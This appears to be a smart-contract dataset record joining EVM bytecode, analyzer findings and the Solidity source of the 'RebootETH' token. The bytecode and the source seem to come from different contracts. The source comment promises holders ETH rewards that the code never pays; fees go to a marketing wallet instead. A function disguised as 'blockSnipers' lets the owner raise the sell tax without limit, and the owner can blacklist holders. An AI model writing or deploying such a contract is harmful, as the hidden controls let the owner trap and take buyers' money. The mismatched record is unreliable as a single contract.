505af1158015610f2c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f519190612998565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff02191690831515021790555067016345785d8a00006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611053929190612cb9565b602060405180830381600087803b15801561106d57600080fd5b505af1158015611081573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a5919061293e565b5050565b6110b1611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113590612e40565b60405180910390fd5b60008111611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890612e00565b60405180910390fd5b6111af60646111a183670de0b6b3a7640000611f5890919063ffffffff16565b611fd390919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111e69190612ee0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e790612ea0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135790612dc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161143e9190612ee0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b290612e80565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152290612d80565b60405180910390fd5b6000811161156e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156590612e60565b60405180910390fd5b6005600a81905550600a600b81905550611586610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f457506115c4610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561169d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116a657600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117515750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117a75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117bf5750601160179054906101000a900460ff165b1561186f576012548111156117d357600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061181e57600080fd5b601e4261182b9190613016565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561191a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119705750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611986576005600a81905550600a600b819055505b600061199130610782565b9050601160159054906101000a900460ff161580156119fe5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a165750601160169054906101000a900460ff165b15611a3e57611a2481611cd0565b60004790506000811115611a3c57611a3b47611b67565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ae75750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611af157600090505b611afd8484848461201d565b50505050565b6000838311158290611b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b429190612d5e565b60405180910390fd5b5060008385611b5a91906130f7565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bb7600284611fd390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611be2573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c33600284611fd390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c5e573d6000803e3d6000fd5b5050565b6000600854821115611ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca090612da0565b60405180910390fd5b6000611cb361204a565b9050611cc88184611fd390919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d0857611d076132cc565b5b604051908082528060200260200182016040528015611d365781602001602082028036833780820191505090505b5090503081600081518110611d4e57611d4d61329d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611df057600080fd5b505afa158015611e04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e2891906127c8565b81600181518110611e3c57611e3b61329d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ea330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611280565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f07959493929190612efb565b600060405180830381600087803b158015611f2157600080fd5b505af1158015611f35573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f6b5760009050611fcd565b60008284611f79919061309d565b9050828482611f88919061306c565b14611fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbf90612e20565b60405180910390fd5b809150505b92915050565b600061201583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612075565b905092915050565b8061202b5761202a6120d8565b5b61203684848461211b565b80612044576120436122e6565b5b50505050565b60008060006120576122fa565b9150915061206e8183611fd390919063ffffffff16565b9250505090565b600080831182906120bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b39190612d5e565b60405180910390fd5b50600083856120cb919061306c565b9050809150509392505050565b6000600a541480156120ec57506000600b54145b156120f657612119565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061212d87612359565b95509550955095509550955061218b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061226c81612469565b6122768483612526565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122d39190612ee0565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000670de0b6b3a7640000905061232e670de0b6b3a7640000600854611fd390919063ffffffff16565b82101561234c57600854670de0b6b3a7640000935093505050612355565b81819350935050505b9091565b60008060008060008060008060006123768a600a54600b54612560565b925092509250600061238661204a565b905060008060006123998e8787876125f6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b03565b905092915050565b600080828461241a9190613016565b90508381101561245f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245690612de0565b60405180910390fd5b8091505092915050565b600061247361204a565b9050600061248a8284611f5890919063ffffffff16565b90506124de81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61253b826008546123c190919063ffffffff16565b6008819055506125568160095461240b90919063ffffffff16565b6009819055505050565b60008060008061258c606461257e888a611f5890919063ffffffff16565b611fd390919063ffffffff16565b905060006125b660646125a8888b611f5890919063ffffffff16565b611fd390919063ffffffff16565b905060006125df826125d1858c6123c190919063ffffffff16565b6123c190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260f8589611f5890919063ffffffff16565b905060006126268689611f5890919063ffffffff16565b9050600061263d8789611f5890919063ffffffff16565b905060006126668261265885876123c190919063ffffffff16565b6123c190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061269261268d84612f95565b612f70565b905080838252602082019050828560208602820111156126b5576126b4613300565b5b60005b858110156126e557816126cb88826126ef565b8452602084019350602083019250506001810190506126b8565b5050509392505050565b6000813590506126fe816135ed565b92915050565b600081519050612713816135ed565b92915050565b600082601f83011261272e5761272d6132fb565b5b813561273e84826020860161267f565b91505092915050565b60008135905061275681613604565b92915050565b60008151905061276b81613604565b92915050565b6000813590506127808161361b565b92915050565b6000815190506127958161361b565b92915050565b6000602082840312156127b1576127b061330a565b5b60006127bf848285016126ef565b91505092915050565b6000602082840312156127de576127dd61330a565b5b60006127ec84828501612704565b91505092915050565b6000806040838503121561280c5761280b61330a565b5b600061281a858286016126ef565b925050602061282b858286016126ef565b9150509250929050565b60008060006060848603121561284e5761284d61330a565b5b600061285c868287016126ef565b935050602061286d868287016126ef565b925050604061287e86828701612771565b9150509250925092565b6000806040838503121561289f5761289e61330a565b5b60006128ad858286016126ef565b92505060206128be85828601612771565b9150509250929050565b6000602082840312156128de576128dd61330a565b5b600082013567ffffffffffffffff8111156128fc576128fb613305565b5b61290884828501612719565b91505092915050565b6000602082840312156129275761292661330a565b5b600061293584828501612747565b91505092915050565b6000602082840312156129545761295361330a565b5b60006129628482850161275c565b91505092915050565b6000602082840312156129815761298061330a565b5b600061298f84828501612771565b91505092915050565b6000806000606084860312156129b1576129b061330a565b5b60006129bf86828701612786565b93505060206129d086828701612786565b92505060406129e186828701612786565b9150509250925092565b60006129f78383612a03565b60208301905092915050565b612a0c8161312b565b82525050565b612a1b8161312b565b82525050565b6000612a2c82612fd1565b612a368185612ff4565b9350612a4183612fc1565b8060005b83811015612a72578151612a5988826129eb565b9750612a6483612fe7565b925050600181019050612a45565b5085935050505092915050565b612a888161313d565b82525050565b612a9781613180565b82525050565b6000612aa882612fdc565b612ab28185613005565b9350612ac2818560208601613192565b612acb8161330f565b840191505092915050565b6000612ae3602383613005565b9150612aee82613320565b604082019050919050565b6000612b06602a83613005565b9150612b118261336f565b604082019050919050565b6000612b29602283613005565b9150612b34826133be565b604082019050919050565b6000612b4c601b83613005565b9150612b578261340d565b602082019050919050565b6000612b6f601d83613005565b9150612b7a82613436565b602082019050919050565b6000612b92602183613005565b9150612b9d8261345f565b604082019050919050565b6000612bb5602083613005565b9150612bc0826134ae565b602082019050919050565b6000612bd8602983613005565b9150612be3826134d7565b604082019050919050565b6000612bfb602583613005565b9150612c0682613526565b604082019050919050565b6000612c1e602483613005565b9150612c2982613575565b604082019050919050565b6000612c41601783613005565b9150612c4c826135c4565b602082019050919050565b612c6081613169565b82525050565b612c6f81613173565b82525050565b6000602082019050612c8a6000830184612a12565b92915050565b6000604082019050612ca56000830185612a12565b612cb26020830184612a12565b9392505050565b6000604082019050612cce6000830185612a12565b612cdb6020830184612c57565b9392505050565b600060c082019050612cf76000830189612a12565b612d046020830188612c57565b612d116040830187612a8e565b612d1e6060830186612a8e565b612d2b6080830185612a12565b612d3860a0830184612c57565b979650505050505050565b6000602082019050612d586000830184612a7f565b92915050565b60006020820190508181036000830152612d788184612a9d565b905092915050565b60006020820190508181036000830152612d9981612ad6565b9050919050565b60006020820190508181036000830152612db981612af9565b9050919050565b60006020820190508181036000830152612dd981612b1c565b9050919050565b60006020820190508181036000830152612df981612b3f565b9050919050565b60006020820190508181036000830152612e1981612b62565b9050919050565b60006020820190508181036000830152612e3981612b85565b9050919050565b60006020820190508181036000830152612e5981612ba8565b9050919050565b60006020820190508181036000830152612e7981612bcb565b9050919050565b60006020820190508181036000830152612e9981612bee565b9050919050565b60006020820190508181036000830152612eb981612c11565b9050919050565b60006020820190508181036000830152612ed981612c34565b9050919050565b6000602082019050612ef56000830184612c57565b92915050565b600060a082019050612f106000830188612c57565b612f1d6020830187612a8e565b8181036040830152612f2f8186612a21565b9050612f3e6060830185612a12565b612f4b6080830184612c57565b9695505050505050565b6000602082019050612f6a6000830184612c66565b92915050565b6000612f7a612f8b565b9050612f8682826131c5565b919050565b6000604051905090565b600067ffffffffffffffff821115612fb057612faf6132cc565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061302182613169565b915061302c83613169565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130615761306061323f565b5b828201905092915050565b600061307782613169565b915061308283613169565b9250826130925761309161326e565b5b828204905092915050565b60006130a882613169565b91506130b383613169565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130ec576130eb61323f565b5b828202905092915050565b600061310282613169565b915061310d83613169565b9250828210156131205761311f61323f565b5b828203905092915050565b600061313682613149565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061318b82613169565b9050919050565b60005b838110156131b0578082015181840152602081019050613195565b838111156131bf576000848401525b50505050565b6131ce8261330f565b810181811067ffffffffffffffff821117156131ed576131ec6132cc565b5b80604052505050565b600061320182613169565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132345761323361323f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135f68161312b565b811461360157600080fd5b50565b61360d8161313d565b811461361857600080fd5b50565b61362481613169565b811461362f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122034d5712618c7d3ab2d44496f1a9c8c80aa4e63d5889611269c43a2f2451093ee64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,056 |
0x4685a4a01aa937482d5b2c18419c8a34d50e6e70
|
/**
*Submitted for verification at Etherscan.io on 2022-02-23
*/
/**
Welcome to $RebootETH! Pump IT 10% ETH Rewards!
ETH Smart Chain✏️ EIP-1559
Biggest Project With Biggest ETH Rewards!
Since the fall of the market, many people have lost money (Maybe you?). RebootETH is here to make you smile again!
10% will be reflected in Ethereum straight to your wallet! 🚀🤑
You'll automatically receive ETH tokens when you hold. Sit back, relax and watch your wallet grow! A minimum of 200k tokens is required to be held to qualify for dividend distribution
Website: https://rebooteth.finance/
WhitePaper: https://rebooteth.finance/whitepaper_rebooteth.pdf
Telegram: https://t.me/RebootETH
Twitter: https://twitter.com/RebootETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract RebootETH is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "RebootETH";
string private constant _symbol = "$RebootETH";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _totalSupply = 250000000 * 10**_decimals;
uint256 private _reflectionTotal = (MAX - (MAX % _totalSupply));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _reflectionFeeOnBuy = 11; //Reflection + Auto Liq
uint256 private _taxFeeOnBuy = 1; //marketing + dev
//Sell Fee
uint256 public _reflectionFeeOnSell = 1; //Reflection
uint256 public _taxFeeOnSell = 12; //marketing + dev
//Original Fee
uint256 public _reflectionFee = _reflectionFeeOnSell;
uint256 public _taxFee = _taxFeeOnSell;
uint256 private _previousDistroFee = _reflectionFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0xF24B747D291ee60C1776eA874487775CD8372754);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address private so;
bool private inSwap = false;
uint256 public _maxTxAmount = 25000000 * 10**_decimals;
uint256 public _swapTokensAtAmount = 10000 * 10**_decimals;
event ExcludeFromFee(address excludedAddress);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _reflectionTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
so = owner();
_isExcludedFromFee[so] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _reflectionTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_reflectionFee == 0 && _taxFee == 0) return;
_previousDistroFee = _reflectionFee;
_previousTaxFee = _taxFee;
_reflectionFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_reflectionFee = _previousDistroFee;
_taxFee = _previousTaxFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && to != so && from != so) {
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(9).mul(9));
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function includeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_reflectionTotal = _reflectionTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256){
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectionFee, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(reflectionFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function blockSnipers(uint256 value) public onlyOwner {
_reflectionFeeOnSell = 1;
_taxFeeOnSell = value;
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _reflectionTotal;
uint256 tSupply = _totalSupply;
if (rSupply < _reflectionTotal.div(_totalSupply)) return (_reflectionTotal, _totalSupply);
return (rSupply, tSupply);
}
}
|
